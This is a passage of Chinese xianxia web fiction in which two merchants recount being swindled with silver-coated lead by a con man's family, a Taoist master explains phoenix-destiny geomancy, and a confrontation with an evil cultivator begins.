而且,涯州气候温暖湿润,土地肥沃。一年三熟虽然有些勉强,一年两熟且连年都是丰年却是寻常。再加上涯州北靠冥山、东依东海,物产丰富。只要再和济州或越州一合并,立刻便是一份皇朝基业。因此,窦氏皇朝对涯州很是重视,也是因为这个原因,朝廷将滨海城划归了海州。 赵尘和周嗣驾着楼船刚刚离开济州,来到涯州,赵尘便将楼船落在了和济州相连的涯州来仪府。随后,赵尘带着周嗣步行前往了来仪府桐郡,在桐郡游历了起来,一晃便是半年时光。 也许是因为涯州比较富足的原因吧,这里的百姓,底层修士要比其他地方多一些。尤其是那种会一两手小法术的奇人异士,要远比其他地方多的多。比如说,这涯州许多书生,不但武艺不错,而且还会一两手各种抚乩占卜之术。同样的,在野外,遇见各种会一两手邪术便铤而走险的亡命之徒的可能性也大大增加了。 这半年来,赵尘和周嗣在桐郡行走,如各种利用变羊、变驴之类的造畜之术贩卖人口之徒,或各种利用勾魂拘鬼之法索骗钱财之人以及其他各种的邪术邪修也遇到了好几起。周嗣这段时间跟着赵尘可谓是大开眼界,便是赵尘也觉的,这才有一种生活在仙侠世界,或者聊斋类世界的感觉。 正是春初冬时节,一日,桐城。 “这不是赵道长、周道长吗?” 赵尘正和周嗣在街上闲逛,忽然听见有人招呼自己,便和周嗣两人顺着声音转身回头看去,便见两位身着布衣的青年连袂而来。其中一人略显年长,快至中年,还有一人,比较年轻,看模样只有二十余岁。 “原来是徐掌柜,张掌柜啊,失迎,失迎。” 这两人之中,年纪较长者,名叫徐元亨;而年纪较小者,名唤张奇神。两人皆是和赵尘在数月前意外相识,和赵尘、周嗣倒也还算熟识。 其中徐元亨自小吃百家饭长大的,少年时靠邻里舍了些钱,便在乡下走街串巷,卖些针头线脑,做货郎起步。靠着为人实诚、勤快、聪慧,加上运气不错,几年下来倒也积攒了一些家底。后来便在桐城中开了一间杂货铺子,并且娶妻生子。 因为这杂货铺子每日的收获只能维持生活,不会穷困,但也发不了财。所以徐元亨便将杂货铺子交给自家媳妇打理,做个后路而自己却在外做些小买卖,什么粮食、药材、布匹、皮货等,什么赚钱做什么。 至于张奇神,祖上倒也算上书香门第,只是从他爷爷时便开始家道中落了。倒也不是说张奇神的父亲和爷爷是个败家子,这两人还是很努力的想要振兴家业的,可只能说运气不好吧,越折腾衰败的越快。 在张奇神三五岁的时候,张家还是小有家底的,一座五进的院子,十来名仆人,八九间铺子还是有的。可等到张奇神十五六岁的时候,便只有父子两人挤在一间城外的破茅草房中。待有过了一两年,张奇神父亲撒手人寰时,张奇神安排完父亲的后事后,真穷的只能靠沿街乞讨来维持生计。 张奇神和徐元亨可以算自幼相识,徐元亨幼年时也时常受到张奇神父亲的帮助。因此,在张奇神父亲去世后,徐元亨借了一笔钱给张奇神,并将张奇神带在身边,手把手教他怎么做生意,所以徐、张两人关系可以说是极好的。 徐元亨笑道:“道长又在取笑我等了,我和张贤弟不过做点走街串巷的小本买卖,最多只是比货郎强些,怎当的起掌柜之称。” 几人在街边寒暄几句,忽然,徐元亨抬头看看天:“如今快要到晌午了,正好一起吃个午饭,赵道长、周道长,两位意下如何?” 张奇神也在一旁连连点头:“徐大哥说的在理,我兄弟两人也和道长许久未见了,正好找个地方好好聊聊。” 赵尘两人推辞不得,只好和徐元亨、张奇神两人随便找了一家客栈,几人坐定,赵尘问道:“两位掌柜,这一次出去如何啊?” 第九十七章 兑换碎银 “唉……”听赵尘这么一问,徐元亨、张奇神两人对视一眼都叹了一口气。 见此,周嗣好奇的问道:“这是怎么了?” “两位道长有所不知,”徐元亨解释道:“自从和两位道长分别后,几个月间,我和张贤弟可是连赔了近千两银子,便是我还有家中铺子撑着,也真是伤筋动骨,至于张贤弟,那更是血本无归了。” 听见两人又赔了,赵尘却是没有露出意外的表情。虽只是第二次相见,但赵尘对张奇神还是有所了解的,正如之前所说,张奇神家从他父亲开始,便时运不济,这倒不要有什么人用了什么玄奇手段,阴私法术,而是单纯的运气不好,只能说一声天地自然的造化玄奇,当然,至少在赵尘看来是如此。 只是,联想到当初在沂州见到的贩果“小贩”,赵尘也不能确定这是不是真的自然造化玄奇。只是,这张家便真是被人下了手段,这等高人,其所作所为,于赵尘而言,和天地自然造化也一般无二了。 徐元亨和张奇神一起做生意,有亏有赚,但总的算来,只是小赚,再加上时不时的还要接济一下张奇神,日子就更紧了。徐元亨之所以愿意和张奇神一起搭伙做生意,除了因为自小相识之外,更因为安全。 张奇神家的时运不济,更多的是体现在财运之上,而在其它方面,到还算不错。徐元亨和张奇神一起搭伙做生意这么多年,都没遇到过多少危险,便是有,也都是有惊无险,最多损失一些财货。 正在徐元亨说话时,小二将酒菜送了上来。 徐元亨端起酒杯便猛灌一口:“之前,我和张贤弟合计了一下,收购了数百两银子的各种年货,想着去乡下各集的集市中贩卖,也正是晦气,这又是意外落水,又是突遭大火,因为货物先被水淹、后被火烧,结果这数百两银子的货物便这般没了,可谓是损失惨重。” “这还不算,因为损失太大了,我便想着,带张兄弟去村、圩、集中收些散碎金银,虽然赚的少、耗时多,但这样大的损失,还强求些什么呢?结果……”说道这里,徐元亨又喝了一杯。 “这都是我的错,全是我连累徐大哥了。”张奇神在一旁接口解释道。 徐元亨做出决定后,徐元亨出了一百五十两银子,张奇神出了五十两银子。将其换作十万文铜钱和一百锭一两重的标准银锭便向乡下去了。 那日,徐大哥和我将铺子支在在某集的北门桥边,徐大哥临时有事,让张奇神看着铺子。 忽然来了一个老头,带着六块,每块大概重两三钱,总共一两三钱三分三厘三毫重的散碎银子,要换成铜板。张奇神给他换了八百文钱,老头却缠着张奇文,说自己的银子成色好,要张奇神再多舍他几文。 纠缠了一会儿,忽然一个少年从远处走来,见到老头,语气惊喜着问好道:“郭爷爷,你怎么在这儿啊!” 老头回头一看:“小三子啊,找我有事吗?” 少年语气恭敬道:“啊爹今天回来了,郭叔叔托啊爹给你带些东西,我正准备送你家去呢!” “哦,狗子给我带了什么东西?” 少年将抱在怀里的包裹交给老头,又从怀里掏出一封信递了过去:“都在这里了,郭爷爷,我回去啦!” 老头摆了摆手:“回去。”说着,将包裹放在膝上,拆开信抽仔细瞅了瞅,随即将信递给张奇神,揉了揉眼睛:“我老眼昏花,看不清楚了。后生,你给我念一念。” 张奇神接过信,给老头读了起来,信上多是一些家庭琐事,只有在最后面写到:“随信带去的一百两散碎金银是给老头的生活费。”老头一听,非常高兴的打开包袱,里面装着一大把散碎的金银。 随即,老头将包裹递给张奇神:“我儿子送来的一百两散碎银子,你先换十两银子的铜钱给我,剩下的全部换成标准一两银锭。” 一百两作为贵金属的散碎银子,换成银钱,张奇神应该给老者五十锭一两重的白银和一万枚铜钱。 张奇神将包裹中的散碎金银全部过秤,心中暗自算了算,这包散碎的金银,大概相当于碎银一百一十一两九钱两重。一时起了贪念,心中一动:“老头的儿子在写信的时候,怕是没有仔细称清楚,或是图省事,直接取了个整。如今老头也没有称,不知道真相。” 正常来说,张奇神这一趟跟随徐元亨来乡下收散碎银子,少则要忙活一个多月,慢的话两三个月也是寻常,但最终也只能赚个十几二十两,分到张奇神手中,也不过只有几两,完全是在赚一个辛苦钱。而只要张奇神含糊过去,便有十多两的散碎银子到手,换成银钱,也有七两多。 心思转动间,张奇神便打算将这银子昧下。随后翻了翻抽屉,和颜悦色道:“老人家,现在铺子里银锭不够,我给你五十个银锭,五万文铜钱如何?” 老头闻言,脸色一变,骂道:“你这后生,这般不懂事,五万文钱足足有四百斤重,我老人家如何背的动?” 张奇神闻言,心中虽有些生气,但一来是因为贪了老者的银子,二来知道老者说的是实话,有些不好意思,只能叫屈道:“可铺子里现在确实没有这么多银锭啊,便是五两、十两的银锭也没有啊。” 当然。张奇神心中还是嘀咕了一句:“瞧你这老胳膊老腿的,四百斤的铜板背不动,八十斤的铜钱又能拿背的动了?” 老头想了想:“什么也没有,还开个什么店。这样好了,金叶子有没有?” 张奇神找了找:“倒是有几片金叶子,是私人的,每片重两钱。” “那好,你给三片金叶子,二十个小银锭,四千枚铜钱给我。” 张奇神随之将老头要的金叶子、小银锭、铜钱交给老头。老头仔细检查一番,将三片金叶子仔细藏好,二十个小银锭随手揣在怀里,将四斤铜钱一串,拎在胳膊上,高兴的离开了,连之前少年送来的信和包裹也留在了张奇神那里,没有带走。 第九十八章 被骗 老头前脚刚离开,徐元亨后脚就回来了。张奇神将之前的事情告诉他。 徐元亨听说后,立刻批评道:“张弟,我一直告诉你,无论做人还是做生意,都要信义为先,你怎么能这样呢?”并要和张奇神一起去找到那老头,将剩下的银子还给他。 正在两人争论间,旁边一名中年路人道:“两位末要争论了,我知道那老头在哪里。” 徐元亨道谢道:“那就多谢先生了。” 中年人笑着摇了摇手:“先不要道谢,我怕你到时候只会埋怨我呢。” 说着指着张奇神道:“年轻人,你被骗啦!那个老梆子是个老骗子了。那些所谓的儿子送来的散碎金银都是假的去。我之前见他和你在换钱时便担心你受骗了。但碍于他在一旁,不好说破。待那老梆子走后,正准备和你说呢,就见这位先生回来了。” 张奇神闻言大惊,连忙用剪刀朝老头留下的散碎金银剪去,其中所有的散碎银子,小到几钱重的,大到十几两重的,都是裹了一层银皮的铅块。至于金子,那就更过分了,张奇神一剪刀没有剪开,随后用刀将几块小碎金的表面金皮削去,里面包裹的竟是一种非常重的小石子。 张奇神说到这里,周嗣好奇的问道:“张大哥,按理说,来兑换散碎金银之时,都要将金银剪开,你当时怎么没剪?” 张奇神有些不好意思:“我当时不是心生贪念,一时忘了嘛!” 赵尘却是怀疑,当时张奇神被人用幻术迷惑了心智,毕竟这里会一两手法术的人多。只是赵尘并没有开口,而是听张奇神继续说道。 张奇神听中年人这么一说,随即对中年人连连道谢,又连忙追问老头的家在哪里。 徐元亨却是在一旁劝说道:“算了,是你自己动了贪心,才导致了这件事的发生。这六十两银子的损失,我出四十五两,剩下十五两算你的。还有这些东西也给你,将表面的金银刮下来,算起来也有个十两银子左右。换成银钱,也有六两,这样算来,你只是赔了七两。便当时用七两买个教训!” 张奇神却不同意道:“我之所以动了贪心,实际上是那老梆子先来偏我的,纵恶和扬恶又有什么区别呢?此风绝不可长。” 徐元亨见张奇神态度坚决,想了想,点头同意道:“你说的对,这样,这件事我就不陪你去了。你若是将银子要回来,便全部算你的。” 张奇神大喜道:“多谢徐大哥。只要银子回来,大哥的那一份一分都不会少,我绝对如数奉还。”说着,又回过头对中年人道:“还请告诉我那个老梆子家在哪里。” 中年人往西一指:“这个老梆子呢,家住的比较远,离这里大概有十多里地。你现在去追赶他,倒是有机会可以遇到。” 张奇神连忙恳求道:“还请和我一起去,我一定不会忘记你的大恩。” 中年人闻言,连连摇头:“不不不,不行,不去。这个老梆子是我的邻居,我要是被他看见,知道是我说破了他的好事,一定会恨死我的,不去。所以还是我告诉你他家在哪里,你自己去追。” 张奇神在一旁劝说道:“先生此言差矣,您到时候和我一起去,等到了那里,您将他家指给我看,到时候您就走开。这样老梆子不知道是您指的路,又怎么会记恨先生您呢?” 经过一番好说歹说,中年人终于松口道:“这样,老梆子骗了你一百两银子,你给我三十两,我便带你去。” “十两!” 中年人摇了摇头:“不行,十两太少。” 最后经过一番讨价还价,两人商定:“张奇神给中年人十五两,中年人带张奇神去找老头。并且先付钱,在找人。” 张奇神随即看向徐元亨,徐元亨摇头道:“不行,无论钱是否能要回来,这四十五两的损失我都认了。同样的,这十五两也只能你一个人出。” 中年人将十五只小银锭揣在怀里,对张奇神道:“快走,那个老梆子今天赚了这么大一笔,现在肯定还没回家,在其他地方和人喝酒呢!” 张奇神那老骗子正在用自己的钱大吃大喝,顿时急了。迅速用老头留下的包裹将那堆包了金银的铅块石头一卷,连带那封信一起,连连催促起中年人。 徐元亨虽然对张奇神能否要回那些银钱不抱期望,但也不担心张奇神的安危。因为他知道,张奇神虽然没什么财运,但其它的运气都还好。 随后,张奇神跟着中年人来到集市西门处。中年人往远处一指:“就是他,你去抓他,我先离开了。”说着,不等张奇神说话,便跑的没影子了。 张奇神无奈,只能顺着中年人指的方向看去,只见那老头坐在一张桌子上,将铜钱堆在一旁,和几个人正在喝酒呢。 张奇神看的火起,直接冲了过去,一把老头按住,抓住就揍,一边揍还一边说道:“你个老骗子,用一堆铅块、石头骗了你家张爷一百两银子。” 老头不停嚷嚷:“你干什么,打死人啦……”周围人连忙起身将张奇神拉住,询问情况。 张奇神将包裹丢在桌上,同时将包裹打开,拿出书信并说明情况之后,老头连忙道:“不可能,老汉我三个儿子都在家中,并且都不识字,那里会写信给我寄生活费。这四贯钱是老汉我早上在集上卖了几头猪仔所得。从来没有见过什么金叶子、小银锭之类的。” 众人将老头搜了搜,身上确实没有金叶子和小银锭,只有桌子上这几贯钱。张奇神见状,顿时急了:“老梆子,你把我的金叶子和小银锭藏哪儿了。” 众人连忙将张奇神拦住,老头不慌不忙道:“再说了,要真是我儿子给我寄的信,那这信怎么会在你这儿?” “那是你将信和包裹丢我这儿的,我怎么知道你是一个骗子。”张奇神连忙解释道。 “呵……丢你那儿的?”老头气笑了,诘问道:“我要是前头刚换完钱,后脚就将儿子的信丢你那儿,你难道不怀疑吗,难道会放我走吗?” 第九十九章 命数 张奇神顿时无言,他能怎么说,难道说因为昧下老头的银子,心中暗喜,一时不查吗?这样有理也变无理了。 众人见张奇神被老头问的哑口无言,心中便更相信老头多一些了。正在这时,老头将包裹中的裹银铅块和包金石子依次用手颠了颠:“这就是你说的我用来骗你的金银?” 张奇神连忙道:“当然!” 老头指着包裹朝张奇神呵斥道:“年纪轻轻就这般不学好。要讹我,首先要把我有多少钱弄清楚。凭空说我有什么金叶子、银锭子,我问你,那所谓的金叶子银锭子在哪里啊。” 说着不待张奇神开口,接着道:“说我用书信和裹银铅块及抱金石子骗你,问你书信怎么在你这里,你又说不清楚。这也算了,更过分的是这包裹中的铅块、石子要是真金白银的话,我怎么看也不止一百两银子啊。” 众人听了用手颠了颠,也都说好像不止一百两。随后众人又找店家借来了小秤,将包裹中的裹银铅块和包金石子依次称了下,发现要是真的真金白银的话,总价值一百一十两白银不止。都纷纷责备张奇神骗人是不对的,其中几个脾气火爆的还将张奇神打了一顿。 听到这里,周嗣笑了笑:“都是贪心惹得祸啊。” 徐元亨也点头道:“谁说不是呢!所以我早说无论做人还是做生意,倒要讲究信义为先呢!” 张奇神闻言,一拍桌子,咬牙切齿道:“若是这样也就罢了,是让是我贪心呢。可更过分的是……” 在张奇神挨完打回来之后,又过了好一会儿,眼看已经是下午了,张奇神和徐元亨便准备收摊回桐城了。结果那老头带着三个中年汉子,和五个半大的小伙子将徐元亨和张奇神两人围住。 老头对张奇神依次介绍道:“小伙子,这是老汉的三个孩子和五个孙子,根本就不会有什么在外经商的孩子会托人给我送生活费。这是我大儿子,他啊……” 这是那个最魁梧的中年汉子道:“爹,你和他废话干什么?”说着又走到张奇神身前,拍着张奇神的肩膀:“小贼诶,我听说你上午把我爹给打了?胆子不小啊,给你两个选择,一是让我们把你打一顿,放心,肯定不会死。但要是你被打成重伤,在外面意外死掉就只能说你命不好了。第二,你破财免灾,嗯……你给个二十两银子就算了,要不然……” “就这样,我只能破财免灾了。”张奇神说完,给自己倒了一杯酒,一口抿了下去。 “也就是说那一次,你先被骗了十五两,然后找那老头花了十五两,最后又因为打了老头赔了二十两。因为金银皮回了六两多,最后一共亏了四十三两多,差不多将那一次的本钱赔干净了。”周嗣最后总结道。 “不是的,我在店里被那些人打了一顿,那些裹银铅块和包金石子根本没有拿回来。” “也就是你一共赔了五十两,将本钱全陪了!”周嗣不禁脱口而出。 “这不是最关键的,最关键的是……”张奇神颇有一种咬牙切齿的说道:“最关键的是一开始送信和包裹的少年以及后来指路的中年人都在那老梆子最后带过来的三个儿子和五个孙子中,分别是老梆子的三孙子和二儿子。” “更可恨的是老梆子在拿到二十两后,还对我了两句话‘老汉我虽然三个儿子都不怎么成器,几乎目不识丁,但老汉我还是认字的。而且我这五个孙子书读的还是不错的,是不是啊,后生?’” “哈……”周嗣闻言不禁笑出声来。便是赵尘也忍俊不禁,心道:“这老头得了便宜还卖乖,实在是……” 徐元亨在一旁说道:“本来我是打算将收来的洒散碎银子带到府城去,寻一家大一点的金银铺子,这样一趟下来我两一共能赚个三十多两,之后再连本带利,采购些小事物,去乡下贩卖,如今连本钱都赔了一半,便直接匆匆回来了。” 听见徐元亨的话,赵尘忽然心有所感,脑中思绪转了转,却没有多说什么。 “就这样,因为这两场生意,我现在的本钱,如果不动家里铺子的积蓄的话,还能拿出一百来两的银子,而张贤弟,我估计只剩下身上的几十两了。” “我现在全部家当还剩二十七两,租的那个小院子,每个月三两银子,马上又要交租了。所以可以动用的银子只剩二十四两。之后柴米油盐之类的每月还要几两银子……” 看着发牢骚的张奇神,赵尘摇了摇头:“那徐掌柜,最近有什么打算呢?” “有什么打算?我准备在城外桐山那里收一批梧桐木。这次走远一点,正所谓再一再二,不可再三。我就不信这次还会血本无归。” 赵尘看了一眼神采飞扬,好像怎么也打不到的徐元亨,又看了看旁边眉头紧锁、满面愁苦的张奇神,两人形成了鲜明的对比。赵尘无声的叹了口气:“所谓一命二运三风水,两位对命怎么看?” 徐元亨笑着摇了摇头:“我若是说完全不信命,这是在说瞎话,但若说信命,如今也许还不知道在哪里乞讨呢,也许早已在野外喂了野狗了。怎有机会和道长在这客栈中闲谈呢?只能说稍微信一点!” 赵尘闻言,摇了摇头什么也没说,敬了徐元亨一杯,随后转过头看向张奇神:“那张掌柜对命又是怎么看的呢?” 张奇神仔细想了想:“我还是相信命的。早年间,我听说我家中有一老仆,六十多岁了,无儿无女,便为自己准备了一口棺材,但他总嫌弃棺材太薄了。” “为此,这老仆想了一个办法。从此之后,只要闲着没事,他便去四方寻访。看周围那个比较穷的人家仓促发丧,没有钱来置办棺材,他便将自己的棺材借给人家使用。但归还的时候,就必须给他加厚一点的棺材,或相应的银钱,这多出来的便算作是利息了。” 第一百章 凤格 “就这样过去了几年,那老仆的棺材已经换成九寸厚的板子了。这老仆的棺材便一直停放在我家的厢房里。” “某一天晚上,邻居家突然起火。我家正好和其相连,其他地方都没什么损失,只有相连的那条厢房被烧着了。” “见停放棺材的厢房着火,老仆连忙冲了进去。只是棺材已经着火了,几个年轻人连忙帮着将棺材扛了出来,丢进池塘里。火熄灭之后,大家帮忙将棺材从池塘中拖了出来,将烧焦的地方刨去,大家发现,竟然还能用。阴干之后,重新刷上漆,大家意外发现,这棺材板子的厚度,竟然和当年老仆最早买来的时候的厚度一样,实在让人啧啧惊奇。” “没过一年,这老仆便去世了,大家便用这口棺材将其收殓、安葬了。所以这老仆也是命该薄棺。” 听见这种凑巧之事,赵尘也没有多说什么,只是对张奇神父子两人的财运,心中更倾向某个猜测。同时,听着张奇神这种浓浓的宿命论的言语,也只是在心中暗自叹了口气。 随后四人又聊了一些琐事,便各自散去了。 赵尘两人回到租下的院子之后,赵尘一如往常一样,从袖中抽出一卷白锦,铺在石桌上,又取出一只只盛着各种气息的小瓶。伸手放出一道气息,将之搓捻成丝线,织进白锦中。 周嗣在一旁看着白锦上用各色线条勾勒出来不同的纹路、形状,只看懂最底层的线条好像是来仪府的地图,隐约可见来仪府的山川地势轮廓。 周嗣看了一会儿,发现依旧没有看懂:“老师,徐掌柜实在太惨了,而且,您之前问徐掌柜和张掌柜是否相信命数,可是有什么原因?” 赵尘有些好笑的·问道:“张掌柜也很惨啊,而且徐掌柜至少还有些底子,张掌柜才真的近乎倾家荡产呢,你怎么不关心关心张掌柜?” “老师,我……” 看着有些呐呐无言的周嗣,头也不抬的说道:“你怎么确定徐掌柜这次赔了不是好事?” “之前和徐掌柜他们初次相遇是,没有仔细看,只是发现徐掌柜运势低糜。先前,徐掌柜说他本来的打算,忽然心有所感,这一次仔细观察了一下,才发现我们和徐掌柜初次相遇之时,徐掌柜运势低糜的原因是因为其今生的命数已经断了。” “所以,按照常理,所以,那一次徐掌柜出去,只怕是魂断他乡,难归故土才对。如今只是赔了些银子,这不是好事吗?” 随后赵尘又对周嗣说了一些命数、气运的相关话题,周嗣听了,对赵尘躬身一礼:“多谢老师教诲。” 随后,周嗣看着赵尘手中捻着丝线,好像提着一只毛笔一样,不停的在白锦上或点、或提、或勾、或画。好奇道:“老师,你这是在干什么。” 赵尘不断在纸上涂画着,头也不回的问道:“周生,你知道这来仪府为什么叫这个名字吗?” 周嗣仔细想了想这半年了解道的信息:“所谓来仪府,指的是有凤来仪的意思。相传很久以前,曾有凤凰来到过这来仪府,所以这来仪府有凤凰气。而且,这两百多年来,窦氏皇朝总共在涯州选出了六位皇妃,单这来仪府便占了三位。选出了两位皇后,也全是出自来仪府。所以这传说哪怕不真实,但也不是毫无根据的。” 赵尘点了点头:“我和你这半年来在来仪府行走,不但是为了降妖除魔,也是为了测量来仪府的山川地势。” “据我观察,古老岁月以前,曾有天凤在这里筑巢。天凤的气机和这里的山川地理交感,使来仪府的山川地势都发生了变化。所以这来仪府可以自发的孕育人道凤气,这两百年所出的三位皇妃,不过是捡了一些残羹冷饭罢了,便是那两位皇后,也只是一些下脚料。” “仅一些残羹冷和下脚料便出了三位皇朝的皇妃和两位皇朝皇后?”周嗣不可置信道。 也难怪周嗣不敢置信,这些日子跟着赵尘学习,对这些事情也算是有所了解了。据周嗣所知,一般情况下,一府之地,一百年才可以孕育出一位身怀王朝级凤格的女子。而一位身怀皇朝级凤格的女子,需要一州之地,五百年才可以孕育出。 而一位身怀帝朝级凤格的女子,至少要消耗数州之地,千年气数;或者一州之地,三千年气数才可以孕育而出。而这样的女子,若是修仙,只要中途不陨落,成仙的几率高达七成。 也不是说王朝、皇朝、帝朝之主的所有妃嫔,必须都有凤格。但至少高阶的妃嫔必须有凤格才可以坐稳位子。而且王朝、皇朝、帝朝之主,都必须要一位对应位阶的凤格的女子镇压后宫气数才行,否则必将气数不稳。 而这两百年出自来仪府的三位皇妃,都是出生贫寒。且一人得封皇贵妃。可见两百年来,这来仪府至少孕育出来三位有凤格的女子,且至少有两人是皇朝级凤格。便是这样,赵尘还说她们只是捡了一些残羹冷饭,所以周嗣才这样的不可置信。 赵尘解释道:“天凤筑巢之地,岂是寻常。根据这里的山川地势估计,这来仪府每次孕育出来的凤气,足以形成一颗帝朝级的凤格,而且每六百年一次。所以单说凤格的孕育速度,这来仪一府之地,足以相当于五州之地不止。” 赵尘指着石桌上的图卷道:“若是把整个来仪府看做是一座凤巢,这凤巢的核心之地便是桐城之外的桐山了。所以,这来仪府要是孕育帝级以下的凤格,那一定是越靠近桐山,孕育凤格的可能性越大,凤格的等级越高。这大概也就是桐山这个名字的由来。所以数千年前,这桐城才是来仪的府城。” “那为什么如今的桐城只是桐郡的郡城呢?” 听见周嗣的话,赵尘的表情有些奇怪,问道:“周生,你知道这来仪府最近孕育出的一位帝朝级凤格是谁吗?” 第一百零一章 初遇 “谁?” “周生,你还记得吴离暗所说的那个俞家吗?” “这怎么可能,那俞家在俞渊、俞澄时便是济州的郡望吗?” “这只是吴离暗说的话罢了,而且,三千多年的岁月,足以将许多秘密给几乎永远的掩埋掉。”赵尘说着,终于散去手中的细线,将气息重新丢进小瓶中,用镇纸将图卷压住。坐在石凳上:“这俞家有高人啊,前些天我在桐山中发现了一座四千多年的古墓,发现这古墓的位置和结构以及布置都很奇特。” “据我观察,在三千五百年前,这来仪府孕育出了一枚帝朝级的凤格,在古墓的布置下,这枚凤格孕育出来之后,还抽干了来仪府所有的凤气,导致整座来仪凤巢的结构都遭到了破坏。一直花了三千年才恢复过来。” “这从凤巢修复之后,第一枚帝朝级凤格还在孕育当中,如今这些王朝级和皇朝级的凤格,和那些命格中沾染了些凤气的女子,都是由凤巢溢散出的一点点凤气所形成的,而这些凤气,都是其精华被抽去修复风巢后所剩下的废气,这不是残羹冷饭又是什么呢?” “再说俞家,据我根据古墓观察估计,这俞家在三千五百年前就是一方千年世家了,至于济州的产业,应该是俞家事先布置好的后路。在帝级凤格孕育而出,俞家小妹出生后,这破坏一府之地的风水格局,导致一府之地山川地势变幻的罪孽,绝对够俞家喝一壶的。” “但俞家早已准备好,断尾求生,将俞渊、俞澄、俞小妹三人安排至先前准备好的后路处,成为了所谓人丁不旺的济州郡望俞家,而剩下的人则留在涯州,扛下了罪孽。” 听了赵尘的猜想,周嗣越发的觉得自家底蕴浅薄,咋舌道:“要真是这样,俞家付出这么大的代价究竟是为什么呢?” “谁知道呢,凡有所做,必有所求。如今应该也是满足了自身所求了。”赵尘笑着说道,但心中却在幽幽的叹息着:“这红尘因果真是沾不得啊,不过是在平阳县小小的掺和了一下,之后都是这样努力的了结因果了,可一直到如今都还没有完全摆脱掉啊!” 随即,赵尘笑着对周嗣道:“这些陈年琐事和我两没什么关系,不过有一点,那就是这涯州很可能也是俞家的势力范围。” 见周嗣骤然变的有些紧张,赵尘又将话题转回来:“因为这凤巢被破坏掉了,桐城再也不是来仪的核心位置了,因为一些地利的原因,这座府城自然也就被废弃掉了。也不难算废弃,只是重要性远不如从前了,府城自然也就被迁往更方便的位置了。” “而天人相谐,互相影响之下,这凤巢新的核心便在如今来仪府的府城附近了。” 思考着赵尘的话,随即问道:“那新的帝朝级的凤格女子将在一百年后,来仪府府城附近诞生吗?” 赵尘撇了周嗣一眼,望向府城方向,眼光幽幽,有些漫不经心的说道:“也许是新的凤巢初次孕育凤格的原因,这一次的凤格孕育时间要长一点,下一位帝朝级凤格女子诞生的时间,在三百多年后。” “算算时间,那时候大概也应该正是窦氏皇朝的末年,正巧啊,所以三百多年后,这玄冥部洲也许又会出现新的帝朝了。当然,只是可能罢了,这谁能说的定呢?” 一番楠楠自语之后,赵尘回过神来:“周生,收拾一下,我们该走了。” …… 也不知道为什么,赵尘这一路上慢慢悠悠的,不过几万里的路,赵尘一连走了几个月,一路上不断观山水之形,采山水之气,填充这他袖中的那卷白锦。 随着天气逐渐回暖,周围的环境也越发的生机勃勃。 “老师,这次我们去哪儿?” 赵尘随手一指:“就往府城方向走,具体去哪里,还是随缘。” 只见旷野中,一辆正在行进的马车上。赵尘在给周嗣仔细讲解着经典。 周嗣一边驾着马车,一边听着赵尘的讲解。忽然,周嗣发现赵尘的眉头皱了一下,遂顺着赵尘的目光向侧前方的远处望去,意料之中的什么也没看见:“老师何故皱眉,可是前面发生了什么,还是周嗣有什么不当之处?” 赵尘看着远处好像狼烟一般的黑恶之气:“和你没关系。唉……只是这涯州之地,修士实在太多了,因此这邪修也多了起来。” 说话间,赵尘运转法术,赵尘心灵之中一轮明镜显化,周身种种,尽数在镜中倒影出来。忽然,这明镜忽然出现在赵尘的紫府之中,被赵尘的神魂拿在手中。 镜中,一个中年人,面色蜡黄,里面穿着一件黑色劲装,外面披着一件暗黄色长袍。身边还围着九个年轻人,最小的看起来就十五六岁,最大的差不多有二十七八岁。都穿着青黑色的短打,双手握着一杆长幡,同时身上还带着一件兵刃。大概是是中年人的弟子、仆人之类的。 看周身气运、灵光等,中年人是一位真人级的·修士,而其余九人,都只是先天武者,身上还有点浑浊的法力。这又是法力又是真气的,不说两者练的都不怎么样,便是都练的不错,今生也就只能这样了。由此可知,这九个人,于那中年人而言,只是几个苦力、炮灰、打手罢了。 十个人身上,都缠绕着绵绵不绝的罪孽气息,只是厚薄程度不一样罢了,而中年修士身上,罪孽气息尤其厚重。 赵尘知道,自己这是被天道抓去打工了。当然说是被天道抓去打工,但就赵尘目前所知,这方世界,并灭有那种向人一样的天道意识,实际上只是气运牵引罢了。 若是没有张奇神那奇怪的气运,徐元亨很有可能便会栽在这里。而赵尘在桐郡和徐张两人闲谈时,心有所感,便有了因果牵连,赵尘又没有拒绝,如今只是水到渠成罢了。 这可以说是赵尘第一次和同阶修士正式交手,说不好还要分生死,想了想,赵尘还是没有搞偷袭,而是放开了气息,和天地交感。 同时,赵尘指示周嗣,偏移方向,向中年人那边驶去。 第一百零二章 动手 按照赵尘的指引,周嗣驾着马车,穿过一旁小树林,眼前忽然出现一片空旷处。旷野中,九个身穿青黑色短打的年轻人,手中握着一杆长幡,各按方位站定。在其中,还有一位蜡黄脸色的中年人,一身暗黄色长袍,正严阵以待,身上自有一番气度。 中年修士看着一个十二三岁的童子驾着一辆马车从树林中驶出。驾车的童子,虽只是个没有丝毫法力的凡人,但全身气息纯净,周身还带着一丝淡淡的道韵。在马车的门帘之后,却有一团醒目灵光,甚至有些晃眼,其周身气息,透过马车,甚至和周围天地相呼应。 马车在离自己数十丈远的地方停下,一十六七岁模样,满身华彩的少年道人掀开门帘,从马车上下来。 见赵尘出来,黄脸中年人惊讶道:“没想到道友竟然这般年轻!这位是道友的弟子吗?” “还算不上,只是在和我修道罢了。毕竟其,资质、根骨都差了一些,便是心性,也缺乏磨炼。” 黄脸中年人摇了摇头:“道友实在太严格啦,依我看,这弟子已经不错了,像我这九个弟子,就没有一个称心的,要是能收到一个这样的弟子,怕是做梦都要笑醒。” 说到这里,黄脸中年修士微微一沉:“不知道友拦我,所谓何事?” “我见道友一身罪孽之气,想必是修了邪法,入了歧路。我心中惋惜,想来劝道友回头。” “哦,不知道友打算怎么劝我回头?” “只要道友放下邪法,诚心改过。这人间之事,自有人间官府处理,身后之事,也有阴司管辖,在下自不敢越俎代庖。便是道友今生修为空付流水,只要了结因果,来生未必没有再来之机会。” 听了赵尘的话,中年修士也没有生气,只是摇了摇头,叹息道:“道友这般道德高士,自然不知道我等这些散修的苦楚……” 中年修士话还没说完,其麾下九个弟子便各自跃了一步,这九人毕竟都是通脉境的先天武者,不到一眨眼的功夫,九人便将中年修士连同赵尘还有马车都围在了中间。 九人有节奏的摇晃长幡,同时将法力注入幡内。九杆长幡全都绽放出昏黄色的玄光,同时喷涂出一道道黑色烟雾。 